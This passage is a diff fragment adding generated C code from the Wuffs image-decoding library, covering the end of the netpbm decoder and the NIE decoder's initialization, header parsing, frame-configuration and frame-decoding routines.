(self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); -+ goto exit; -+ -+ goto ok; -+ ok: -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func netpbm.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_netpbm__decoder__workbuf_len( -+ const wuffs_netpbm__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_nie__error__bad_header[] = "#nie: bad header"; -+const char wuffs_nie__error__truncated_input[] = "#nie: truncated input"; -+const char wuffs_nie__error__unsupported_nie_file[] = "#nie: unsupported NIE file"; -+const char wuffs_nie__note__internal_note_short_read[] = "@nie: internal note: short read"; -+ -+// ---------------- Private Consts -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_nie__decoder__do_decode_image_config( -+ wuffs_nie__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_nie__decoder__do_decode_frame_config( -+ wuffs_nie__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_nie__decoder__do_decode_frame( -+ wuffs_nie__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_nie__decoder__swizzle( -+ wuffs_nie__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+// ---------------- VTables -+ -+const wuffs_base__image_decoder__func_ptrs -+wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_nie__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_nie__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_nie__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_nie__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_nie__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_nie__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_nie__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_nie__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_nie__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_nie__decoder__initialize( -+ wuffs_nie__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_nie__decoder* -+wuffs_nie__decoder__alloc(void) { -+ wuffs_nie__decoder* x = -+ (wuffs_nie__decoder*)(calloc(1, sizeof(wuffs_nie__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_nie__decoder__initialize( -+ x, sizeof(wuffs_nie__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_nie__decoder(void) { -+ return sizeof(wuffs_nie__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func nie.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_nie__decoder__get_quirk( -+ const wuffs_nie__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func nie.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__set_quirk( -+ wuffs_nie__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func nie.decoder.decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__decode_image_config( -+ wuffs_nie__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_image_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func nie.decoder.do_decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_nie__decoder__do_decode_image_config( -+ wuffs_nie__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_a = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ v_a = t_0; -+ } -+ if (v_a != 1169146734u) { -+ status = wuffs_base__make_status(wuffs_nie__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ v_a = t_1; -+ } -+ if (v_a == 879649535u) { -+ self->private_impl.f_pixfmt = 2164295816u; -+ } else if (v_a == 946758399u) { -+ self->private_impl.f_pixfmt = 2164308923u; -+ } else if (v_a == 879780607u) { -+ status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); -+ goto exit; -+ } else if (v_a == 946889471u) { -+ status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_nie__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ if (num_bits_2 == 24) { -+ t_2 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)) << 56; -+ } -+ } -+ v_a = t_2; -+ } -+ if (v_a > 2147483647u) { -+ status = wuffs_base__make_status(wuffs_nie__error__bad_header); -+ goto exit; -+ } else if (v_a > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } -+ self->private_impl.f_width = v_a; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -+ if (num_bits_3 == 24) { -+ t_3 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ } -+ } -+ v_a = t_3; -+ } -+ if (v_a > 2147483647u) { -+ status = wuffs_base__make_status(wuffs_nie__error__bad_header); -+ goto exit; -+ } else if (v_a > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } -+ self->private_impl.f_height = v_a; -+ if (a_dst != NULL) { -+ wuffs_base__image_config__set( -+ a_dst, -+ self->private_impl.f_pixfmt, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ 16u, -+ false); -+ } -+ self->private_impl.f_call_sequence = 32u; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_do_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func nie.decoder.decode_frame_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__decode_frame_config( -+ wuffs_nie__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 2)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func nie.decoder.do_decode_frame_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_nie__decoder__do_decode_frame_config( -+ wuffs_nie__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_nie__decoder__do_decode_image_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); -+ goto exit; -+ } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ self->private_impl.f_call_sequence = 96u; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height), -+ ((wuffs_base__flicks)(0u)), -+ 0u, -+ 16u, -+ 0u, -+ false, -+ false, -+ 0u); -+ } -+ self->private_impl.f_call_sequence = 64u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func nie.decoder.decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_nie__decoder__decode_frame( -+ wuffs_nie__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 3)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_nie__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func nie.decoder.do_decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_nie__decoder__do_decode_frame( -+ wuffs_nie__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_nie__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y = 0u; -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette(a_dst), -+ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), -+ wuffs_base__utility__empty_slice_u8(), -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ while (true) { -+ v_status = wuffs_nie__decoder__swizzle(self, a_dst, a_src); -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } else if (v_status.repr != wuffs_nie__note__internal_note_short_read) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ } -+ self->private_impl.f_call_sequence = 96u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ return status; -+} -+ -+// -------- func nie.decoder.swizzle -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_nie__decoder__swizzle( -+ wuffs_nie__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row = 0; -+ uint32_t v_src_bytes_per_pixel = 0; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint64_t v_i = 0; -+ uint64_t v_j = 0; -+ uint64_t v_n = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src 